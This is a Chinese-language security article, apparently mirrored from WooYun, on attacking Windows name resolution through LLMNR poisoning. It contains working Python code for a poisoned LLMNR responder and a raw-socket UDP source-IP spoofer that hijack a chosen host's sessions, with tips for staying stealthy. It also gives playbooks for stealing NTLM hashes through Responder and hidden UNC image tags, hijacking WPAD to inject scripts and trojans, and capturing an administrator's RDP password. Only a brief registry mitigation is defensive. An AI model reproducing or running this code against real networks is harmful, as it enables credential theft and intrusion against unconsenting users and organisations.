利用 LLMNR 名稱解析缺陷劫持內網指定主機會話

wyzsk發表於2020-08-19
作者: Her0in · 2015/12/11 10:29

本文將會對 LLMNR 協議進行分析並用 Python 實現質詢和應答。後半部分則會重點闡述利用 LLMNR 在名稱解析過程中的缺陷進行實戰攻擊的部分思路。
下面是本文的每一小節的 title :

  • 0x00 LLMNR 簡介
  • 0x01 LLMNR 協議分析
  • 0x02 LLMNR 名稱解析過程
  • 0x03 程式設計實現 LLMNR 的質詢和應答
  • 0x04 LLMNR Poison 攻擊原理
  • 0x05 利用偽造源 IP + LLMNR Poisone 劫持內網指定主機會話
  • 0x06 LLMNR Poison 實戰攻擊思路
  • 0x07 總結

0x00 LLMNR 簡介


從 Windows Vista 起,Windows 作業系統開始支援一種新的名稱解析協議 —— LLMNR,主要用於區域網中的名稱解析。LLMNR 能夠很好的支援 IPv4 和 IPv6,因此在 Windows 名稱解析順序中是一個僅次於 DNS 的名稱解析方式,更重要的是在 Linux 作業系統中也實現了 LLMNR。

0x01 LLMNR 協議分析


LLMNR 協議定義在 RFC 4795 中。文件裡詳細的介紹了有關於 LLMNR 協議的結構,配置以及安全性等內容。

LLMNR 的協議結構如下圖所示:

圖 1:LLMNR 協議結構

LLMNR 協議結構圖中各個欄位的說明如下:

  • ID - Transaction ID是一個隨機生成的用來標識質詢與應答的 16 位識別符號。
  • QR - 0 為查詢,1 為響應
  • OPCODE - 是一個 4 位的欄位,用來指定在此訊息中的查詢型別。該欄位的值會在發起查詢時被設定並複製到響應訊息中。此規範定義了標準的查詢和響應 (OPCODE 的值為零) 的行為。在未來的規範中可以在 LLMNR 中定義其他的 OPCODE。
  • C - 衝突位。
  • TC - 截斷位。
  • T - 暫定,無標誌。
  • Z - 保留位。
  • RCODE - 響應碼。
  • QDCOUNT - 16 位的無符號整數,指定在質詢部分中的條目數量。
  • ANCOUNT - 16 位的無符號整數,指定在應答部分中的資源記錄數量。
  • NSCOUNT - 16 位的無符號整數,指定在權威記錄部分的名稱伺服器資源錄數量。
  • ARCOUNT - 16 位的無符號整數,指定在附加記錄部分的資源記錄數量。

0x02 LLMNR 名稱解析過程


一個完整的正常的 LLMNR 名稱解析過程如下圖所示:

注:假定主機 B 已加入了組播組中。

圖 2:一個完整的正常的 LLMNR 名稱解析過程

LLMNR 名稱解析過程所使用的傳輸協議為 UDP 協議,IPv4 的廣播地址為 - 224.0.0.252, IPv6 的廣播地址為 - FF02:0:0:0:0:0:1:3 或 FF02::1:3。在主機中所監聽的埠為 UDP/5355。

使用 Wireshark 抓取一個完整的 LLMNR 質詢/應答過程的資料包,如下圖所示:

圖 3:一個完整的 LLMNR 質詢/應答過程資料包

從上圖可以看到,編號為 No.3 和 No.4 的資料包證明了主機 A 分別使用自己的 IPv4 地址和 IPv6 地址向 IPv4 和 IPv6 的廣播地址進行了廣播,質詢資料包的 TID 為 0xc7f7。查詢的地址型別為請求主機 B 的 IPv4 地址,這一點可以從 A 或 AAAA 進行區別。一個 A 表示請求的地址型別為 IPv4 地址,四個A(AAAA)表示請求的地址型別為 IPv6 地址。

編號為 No.5 的資料包證明了主機 B(192.168.16.130)收到請求資料包後,發現有主機請求自己的 IP地址,於是向主機 A 進行單播應答,將自己的 IP 地址單播給了主機 A,應答的地址型別為 IPv4,同時該資料包的 TID 的值為上面主機 A 進行廣播的資料包的 TID —— 0xc7f7。

質詢的資料包詳細結構如下圖所示:

圖 4:質詢的資料包詳細結構

應答的資料包詳細結構如下圖所示:

圖 5:應答的資料包詳細結構

0x03 程式設計實現 LLMNR 的質詢和應答


透過上面的內容,可以很直觀的理解 LLMNR 進行名稱解析的詳細過程。使用 Python 可以快速實現 LLMNR 協議的質詢和應答程式設計。

LLMNR 協議的質詢過程實際上就是進行了一個廣播。直接看程式碼。

質詢的程式碼如下:

LLMNR Query Demo Code

#!python
#/usr/bin/env python

__doc__ = """

    LLMNR Query ,
                    by Her0in

"""

import socket, struct

class LLMNR_Query:
    def __init__(self,name):
        self.name = name

        self.IsIPv4 = True
        self.populate()
    def populate(self):
        self.HOST = '224.0.0.252' if self.IsIPv4 else 'FF02::1:3'
        self.PORT = 5355
        self.s_family = socket.AF_INET if self.IsIPv4 else socket.AF_INET6

        self.QueryType = "IPv4"
        self.lqs = socket.socket(self.s_family, socket.SOCK_DGRAM)

        self.QueryData = (
        "\xa9\xfb"  # Transaction ID
        "\x00\x00"  # Flags Query(0x0000)? or Response(0x8000) ?
        "\x00\x01"  # Question
        "\x00\x00"  # Answer RRS
        "\x00\x00"  # Authority RRS
        "\x00\x00"  # Additional RRS
        "LENGTH"    # length of Name
        "NAME"      # Name
        "\x00"      # NameNull
        "TYPE"      # Query Type ,IPv4(0x0001)? or IPv6(0x001c)?
        "\x00\x01") # Class
        namelen = len(self.name)
        self.data = self.QueryData.replace('LENGTH', struct.pack('>B', namelen))
        self.data = self.data.replace('NAME', struct.pack(">"+str(namelen)+"s", self.name))
        self.data = self.data.replace("TYPE",  "\x00\x01" if self.QueryType == "IPv4" else "\x00\x1c")

    def Query(self):
        while(True):
            print "LLMNR Querying... -> %s" % self.name
            self.lqs.sendto(self.data, (self.HOST, self.PORT))
        self.lqs.close()

if __name__ == "__main__":
    llmnr = LLMNR_Query("Wooyun")
    llmnr.Query()

要對 LLMNR 協議的質詢請求進行應答,首先要將本機加入多播(或組播)組中,所使用的協議為 IGMP。具體程式設計實現的方式可以直接構造資料包使用 UDP 傳送,也可以使用套接字提供的 setsockopt 函式進行設定。

應答的實現方式很簡單,建立一個 UDP 套接字使用 setsockopt 函式加入多播組並監聽 5355 埠,當然也可以使用非阻塞的 SocketServer 模組實現,效果更佳。

具體程式碼如下:

LLMNR Answer Demo Code

#!python
#/usr/bin/env python

__doc__ = """

    LLMNR Answer ,
                    by Her0in

"""

import socket, struct

class LLMNR_Answer:
    def __init__(self, addr):

        self.IPADDR  = addr
        self.las = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.init_socket()
        self.populate()
    def populate(self):

        self.AnswerData = (
            "TID"               # Tid
            "\x80\x00"          # Flags  Query(0x0000)? or Response(0x8000) ?
            "\x00\x01"          # Question
            "\x00\x01"          # Answer RRS
            "\x00\x00"          # Authority RRS
            "\x00\x00"          # Additional RRS
            "LENGTH"            # Question Name Length
            "NAME"              # Question Name
            "\x00"              # Question Name Null
            "\x00\x01"          # Query Type ,IPv4(0x0001)? or IPv6(0x001c)?
            "\x00\x01"          # Class
            "LENGTH"            # Answer Name Length
            "NAME"              # Answer Name
            "\x00"              # Answer Name Null
            "\x00\x01"          # Answer Type ,IPv4(0x0001)? or IPv6(0x001c)?
            "\x00\x01"          # Class
            "\x00\x00\x00\x1e"  # TTL Default:30s
            "\x00\x04"          # IP Length
            "IPADDR")           # IP Address

    def init_socket(self):
        self.HOST = "0.0.0.0"
        self.PORT = 5355
        self.MulADDR  = "224.0.0.252"
        self.las.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.las.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
        self.las.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP,
                       socket.inet_aton(self.MulADDR) + socket.inet_aton(self.HOST))

    def Answser(self):
        self.las.bind((self.HOST, self.PORT))
        print "Listening..."
        while True:
            data, addr = self.las.recvfrom(1024)

            tid = data[0:2]
            namelen = struct.unpack('>B', data[12])[0]
            name = data[13:13 + namelen]

            data = self.AnswerData.replace('TID', tid)
            data = data.replace('LENGTH', struct.pack('>B', namelen))
            data = data.replace('NAME', name)
            data = data.replace('IPADDR', socket.inet_aton(self.IPADDR))

            print "Poisoned answer(%s) sent to %s for name %s " % (self.IPADDR, addr[0], name)
            self.las.sendto(data, addr)

        self.las.setsockopt(socket.IPPROTO_IP, socket.IP_DROP_MEMBERSHIP,
                       socket.inet_aton(self.MulADDR) + socket.inet_aton(self.HOST))
        self.las.close()

if __name__ == "__main__":
    llmnr = LLMNR_Answer("11.22.33.44")
    llmnr.Answser()

最終執行後結果如下圖所示:

圖 6:Python 實現 LLMNR 質詢與應答 1

下圖為模擬主機查詢主機名稱為Wooyun的結果

圖 7:Python 實現 LLMNR 質詢與應答 2

0x04 LLMNR Poison 攻擊原理


圖 2 說明了一個完整的正常的 LLMNR 質詢/應答過程。由於 LLMNR 使用了無連線的 UDP 協議傳送了廣播,之後,多播組內的主機就可以對發起名稱解析的主機進行應答,因此,在這個過程中,攻擊者就有機可乘。

攻擊者可以將自己的主機加入到組播組中,當收到其他主機進行名稱解析的質詢請求,就可以對發起此次名稱解析的主機進行“惡意”應答。利用此缺陷進行欺騙攻擊的方式稱為 LLMNR Poison 攻擊

“惡意”應答過程如下圖所示:

圖 8: 攻擊者進行“惡意”應答過程圖示

LLMNR 名稱解析的最大缺陷就是,在當前區域網中,無論是否存在主機 B(假定機器名為:SECLAB-HER0IN),只要有主機請求 SECLAB-HER0IN 都會進行一次 LLMNR 名稱解析。

0x05 利用偽造源 IP + LLMNR Poisone 劫持內網指定主機會話


由於 UDP 是面向無連線的,所以不存在三次握手的過程,因此,在 LLMNR 名稱解析過程中,UDP 的不安全性就凸顯出來了。攻擊者可以偽造源 IP 地址向廣播地址傳送 LLMNR 名稱解析質詢,之後攻擊者再對這個質詢進行應答,完全是一場 “自導自演” 的戲。

修改 UDP 源 IP 的程式碼如下:

UDP Source IP Spoof Demo Code

#!python
#/usr/bin/env python

__doc__ = """

    UDP Source IP Spoof ,
                    by Her0in

"""

import socket, time
from impacket import ImpactDecoder, ImpactPacket

def UDPSpoof(src_ip, src_port, dst_ip, dst_port, data):
    ip = ImpactPacket.IP()
    ip.set_ip_src(src_ip)
    ip.set_ip_dst(dst_ip)

    udp = ImpactPacket.UDP()
    udp.set_uh_sport(src_port)
    udp.set_uh_dport(dst_port)

    udp.contains(ImpactPacket.Data(data))
    ip.contains(udp)

    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    s.sendto(ip.get_packet(), (dst_ip, dst_port))

if __name__ == "__main__":
    QueryData = (
        "\xa9\xfb"  # Transaction ID
        "\x00\x00"  # Flags Query(0x0000)? or Response(0x8000) ?
        "\x00\x01"  # Question
        "\x00\x00"  # Answer RRS
        "\x00\x00"  # Authority RRS
        "\x00\x00"  # Additional RRS
        "\x09"      # length of Name
        "Her0in-PC"    # Name
        "\x00"      # NameNull
        "\x00\x01"  # Query Type ,IPv4(0x0001)? or IPv6(0x001c)?
        "\x00\x01") # Class

    ip_src = "192.168.169.1"
    ip_dst = "224.0.0.252"

    while True:
        print("UDP Source IP Spoof %s => %s for Her0in-PC" % (ip_src, ip_dst))
        UDPSpoof(ip_src, 18743,ip_dst , 5355, QueryData)
        time.sleep(3)

為了不要那麼暴力,加個延時,實際上在 LLMNR 應答資料包中有一個 TTL 預設為 30s,所以在實戰中為了隱蔽可以將延時加大

具體攻擊過程如下:

  • 攻擊者(IP:111.111.111.111)偽造受害者(IP:222.222.222.222)向 LLMNR 協議的廣播地址傳送 LLMNR 質詢,請求解析名稱為:HER0IN-PC(IP:333.333.333.333) 的 IP
  • 攻擊者(IP:111.111.111.111)加入多播組收到 “受害者” 的請求,對質詢進行響應,將自己的IP(可以是任何 IP)單播給受害者

攻擊的效果就是,受害者只要使用計算機名稱訪問 HER0IN-PC 這臺主機的任何服務,都會被重定向到攻擊者指定的 IP 上。

測試環境如下:

  • 攻擊者主機 IP:192.168.169.5(啟動偽造 IP 進行 LLMNR 廣播的惡意程式 以及 LLMNR 應答程式)
  • 受害者 IP:192.168.169.1 無需任何操作
  • 當受害者訪問內網某臺主機的 WEB 服務時被重定向到攻擊者主機的 WEB 伺服器

看圖說話,圖片資訊量較大 ;)

圖 9 : 攻擊者主機 啟動相應的程式,並提供了 WEB 服務

圖 10 : 當受害者訪問win2k3-3a85d681 這臺主機的 WEB 服務時被重定向到攻擊者主機的 WEB 伺服器

圖 11 : 可以明顯的看到受害者原本想訪問的 WEB 伺服器是 Windows Server 2003 卻被攻擊者“重定向”到了一臺 Linux 主機上

關於“利用偽造源 IP + LLMNR Poisone 劫持內網指定主機會話”就這麼多,圖片資訊量較大,請自行梳理,利用這種攻擊手段可以做很多事情,剩下的全靠自由發揮 ;)

0x06 LLMNR Poison 實戰攻擊思路


在區域網中,名稱解析的行為是非常頻繁的,只要有使用計算機名稱,準確的說是 NetBIOS名稱或非 FQDN 域名的地方都會產生名稱解析,如 PING 主機名稱,使用主機名稱連線各種服務等等。Windows 系統也預設啟用了 NetBIOS 和 LLMNR。這就使得 LLMNR Poison 攻擊的實戰價值有所提升。但實際上在實戰中使用 LLMNR Poison 攻擊時,會遇到一些問題。如,5355 埠被佔用,防火牆攔截等,不過這些小問題都是可以解決掉的,另外還有一些不可控的客觀因素,如網路穩定性等等。但這些問題也不是非常普遍不可解決的。

下面提供幾種在實戰中可用的 LLMNR Poison 攻擊思路。以 Responder 做為攻擊工具進行演示。

劫持會話獲取 HASH

透過劫持會話獲取受害者的 HASH,有兩種常見的攻擊場景。

  • 劫持 SMB 會話獲取 HASH
    利用 LLMNR Poison 攻擊劫持 SMB 會話與 SMBRelay 攻擊相似,本質上都是對 SMB 的會話進行劫持,但是 SMBRelay 攻擊是被動式的攻擊,同時,攻擊者所劫持的 SMB 會話只有在該會話本身是一次成功的會話的情況下才能拿到目標伺服器的許可權。利用 LLMNR Poison 攻擊劫持 SMB 會話,只要有主機使用計算機名稱訪問其他主機的共享時就可以得到發起共享請求的主機的 HASH。但是這個 HASH 只能用於爆破(因為已知了挑戰),無法直接登入主機。可以將 LLMNR Poison 攻擊 與 SMBRelay 攻擊結合起來,提升攻擊力。
  • 使用 HTTP 401 認證獲取 HASH
    使用 HTTP 401 認證同樣也可以獲取到客戶端機器的 HASH。

攻擊的方式大致為:

  • 結合社工欺騙受害者訪問一個正常的但已嵌入類似於<img/src=\\SECLAB-HER0IN\1.jpg width=0 height=0><img/src=http:\\SECLAB-HER0IN\1.jpg width=0 height=0> 的網頁。
  • 當受害者訪問網頁後,如果受害者主機系統版本是 Vista 之後的,就會產生 LLMNR 名稱解析。
  • 此時攻擊者的主機(已啟動了 Responder )就會收到受害者主機的 HASH。
  • 當然也可以一直啟動 Responder 進行監聽,不需要其他額外的操作,只要有主機使用計算機名稱請求 SMB 或 WEB 服務就可以得到相應主機的 HASH。

圖 12:SMB 會話劫持獲取 HASH

圖 13:使用 John 破解 SMB 會話劫持到的 HASH

劫持會話進行釣魚

使用 HTTP 401 認證伺服器進行釣魚。

圖 14: HTTP 401 認證伺服器釣魚

圖 15: “釣魚”攻擊獲取到了 HASH

劫持 WPAD 獲取上網記錄

在 Windows 系統中,預設啟用了 WPAD 功能,可以對 IE 瀏覽器-工具-internet-連線-區域網設定-自動檢測設定 和 系統服務中的 WinHttpAutoProxySvc 服務進行開關設定。

啟用了 WPAD 的主機,會持續請求名為WPAD的主機名稱,因此可以利用 LLMNR Poison 攻擊更改受害者主機的瀏覽器代理設定。這樣就可以在攻擊者自己的代理伺服器中看到受害者的上網瀏覽記錄,也可以在受害者正在訪問的網頁中嵌入任何你想要嵌入的惡意指令碼程式碼,如各種釣魚,彈框認證,下載檔案等等。另外,由於 WPAD 是一個系統的 HTTP 代理設定,所以 Windows 更新也會使用這個代理,這樣就可以利用 Windows 更新將木馬下載到受害者主機並自動執行。

但是 WPAD 在實戰中也同樣會受到各種不可控的客觀因素的影響。只有手動設定了瀏覽器代理配置,透過 WPAD 的代理上網的效果才比較明顯。

“劍走偏鋒” 獲取伺服器密碼

上面已經提到,在區域網中,只要有主機使用其他主機的名稱請求服務就可以產生名稱解析行為。假定有這樣一個場景,在滲透到內網後,進一步滲透的條件很苛刻,這時候你“黔驢技窮”(:0)了,為了能在內網中拿到一臺伺服器,以便“站穩腳跟”。或許你可以採用“劍走偏鋒”的思路,利用 LLMNR Poison 攻擊進行 3389 連線欺騙,拿到伺服器的密碼,這樣做的確有些冒險,可是總好過你直接修改 IP 去欺騙登入要好很多(真有人這麼做過 ~,~!)。

測試環境如下:

  • 一臺 Windows Server 2008 (Win2k8 支援 LLMNR)作為管理員的主機 IP:172.16.0.8
  • 一臺 Windows Server 2003 (假定為內網的一臺伺服器) 機器名稱:WIN2K3-3A85D681 IP:172.16.0.3
  • 一臺 Windows XP (已開 3389 為了演示效果所用) IP:172.16.0.100
  • 一臺 BT5-R3 攻擊者的主機 (啟動 Responder) IP:172.16.0.128

場景如下:

管理員的主機(Win2k8)連線內網伺服器(Win2k3)進行常規維護,攻擊者(BT5-R3)利用 LLMNR Poison 攻擊劫持了 3389 連線會話,為了更加明顯的演示出攻擊效果,我將 3389 連線會話重定向到一臺 XP 中

OK,看圖說話;),攻擊效果如下:

圖 16: 管理員(Win2k8)連線內網伺服器(Win2k3),但是被 LLMNR Poison 攻擊劫持,重定向到了 XP 上。

圖 17:從攻擊者的機器中,也可以看到 Responder 做了“惡意”應答,同時,利用 lcx 轉發 3389 也有資料流在跑,可以從 IP 中判斷出來

圖 18:在 XP 中已經安裝了某記錄登入密碼的程式,可以記錄任何成功或失敗的登入資訊 :D,上圖中可以看到管理員輸入的登入資訊。

0x07 總結


關於 LLMNR Poison 攻擊的實戰思路有很多,包括劫持 FTP,MySQL,MSSQL Server等等。具體的實現,請自由發揮。

為了防止遭到 LLMNR Poison 攻擊,可以匯入下面的登錄檔鍵值關閉 LLMNR:

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" /v EnableMulticast /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows NT\DNSClient" /v EnableMulticast /t REG_DWORD /d 0 /f 

不過,關閉了 LLMNR 以後, 可能使用者的一些正常需求會受到影響,:)

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章